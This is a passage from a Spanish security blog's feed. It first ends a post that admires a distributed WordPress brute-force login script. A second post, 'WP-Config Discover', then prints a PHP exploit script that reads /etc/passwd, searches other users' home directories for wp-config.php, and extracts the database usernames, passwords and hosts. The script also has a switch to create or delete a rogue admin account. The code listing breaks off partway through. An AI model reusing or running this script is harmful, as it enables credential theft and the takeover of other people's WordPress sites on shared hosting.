Si pensamos hacerlo de forma remota puede que nos tardemos un poco más, pero pensemos desde el mismo lado del servidor, imaginemosnos que tenemos una cuenta en el hosting donde está hospedado el CMS, será todo mucho más fácil y más rápido.</p>
<p><span id="more-1175"></span></p>
<p><img class="alignright size-medium wp-image-949" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un tiempo, yo <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/">publiqué un script en php</a> <strong>bastante</strong> sencillo que nos permitía hacer ésto en simples pasos leyendo palabras desde un diccionario, lo interesante de éste script es que no sólo funciona con wordpress, sino con cualquier weblogin &#8220;simple&#8221; e inseguro. Luego encontré un artículo relacionado muy interesante, que hablaba sobre estos tipos de ataques y analizaban un script que encontraron en un servidor, el cual era mucho mas sofisticado y trabajado que el mio, permitia hacer ataques distribuidos desde distintas máquinas y de esta forma aumentar si desempeño más de un 1000% (sí, mil por ciento).</p>
<p>Su funcionamiento (copy&amp;paste):</p>
<blockquote><p>La funcion wp_brute_attempt() toma 3 parámetros, $ch que es la estuctura cURL (cURL es una herramienta de línea de comando que se puede usar para realizar peticiones HTTP ). Los otros dos parámetros definen el sitio y la contraseña que se intentará. Si el script consigue validarse exitosamente, la página que es devuelta por el servidor contendrá la frase &#8220;Log Out&#8221;, y la función devolverá el valor verdadero.</p>
<p>Ahora, lo interesante del script es que permite el cracking distribuido. La información es guardada en una base de datos MySQL y el script realmente se conecta en forma directa a la base de datos principal. Esto permite al atacante correr varios scripts simultáneos &#8211; cada uno de ellos tomará 200 URL nuevas y las marcará con el ID del script forzador ($colo)</p></blockquote>
<p>Encuentro <strong>súper</strong> interesante lo que se hizo y de la forma en que fue pensado, la próxima véz que se me ocurra hacer algo así, lo hare distribuido usando una base de datos accesible remotamente para aumentar el rendimiento y desempeño del script. Si lo llego a hacer, publicaré una prueba de concepto con los resultados.</p>
<p>Fuente en español: <a href="http://blog.segu-info.com.ar/2009/11/instalaciones-de-wordpress-bajo-ataques.html" target="_blank">Segu-Info</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/"  data-text="Ataque de fuerza bruta a WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor</title>
		<link>http://blog.zerial.org/seguridad/wp-config-discover/</link>
		<comments>http://blog.zerial.org/seguridad/wp-config-discover/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 03:04:08 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=716</guid>
		<description><![CDATA[WP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php. Como todos [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-720" title="matrixwordpress" src="http://blog.zerial.org/wp-content/uploads/2009/08/matrixwordpress.png" alt="matrixwordpress" width="190" height="190" /><strong>WP-Config Discover</strong> es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario <em>www-data</em> sobre el fichero <em>wp-config.php</em>.</p>
<p>Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).</p>
<p><span id="more-716"></span></p>
<p><strong>Código</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$paths</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site/blog&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$files</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp-config.php&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Checking for &#8230;.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/is_readable"><span class="kw3">is_readable</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp; &nbsp;<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;err0r: can&#8217;t read /etc/passwd (safe mode?)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$_f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_f</span> <span class="kw1">as</span> <span class="re0">$usr</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <a href="http://www.php.net/explode"><span class="kw3">explode</span></a><span class="br0">&#40;</span><span class="st0">&quot;:&quot;</span>, <span class="re0">$usr</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$home</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$uid</span> &gt;= <span class="nu0">1000</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$usr</span>.<span class="st0">&quot; (uid:&quot;</span>.<span class="re0">$uid</span>.<span class="st0">&quot;): &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$paths</span> <span class="kw1">as</span> <span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span>Searching in &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$files</span> <span class="kw1">as</span> <span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span>Found: &quot;</span>.<span class="re0">$file</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$__f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$__f</span> <span class="kw1">as</span> <span class="re0">$line</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_USER&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_USER&#8217;, &quot;</span>,<span class="st0">&quot;usr=&gt;&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_PASSWORD&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output2</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_PASSWORD&#8217;, &quot;</span>, <span class="st0">&quot;pwd=&gt;&quot;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_NAME&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output3</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_NAME&#8217;, &quot;</span>, <span class="st0">&quot;db=&gt;&quot;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_HOST&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output4</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_HOST&#8217;, &quot;</span>, <span class="st0">&quot;host=&gt;&quot;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;<span class="es0">\$</span>table_prefix&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\$</span>table_prefix(.*);/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output5</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>prefix&quot;</span>.<span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>URL: &quot;</span>.getURL<span class="br0">&#40;</span><span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;create_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>User/pass created: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;create&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;delete_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>fakeadmin deleted: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;delete&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> getURL<span class="br0">&#40;</span><span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
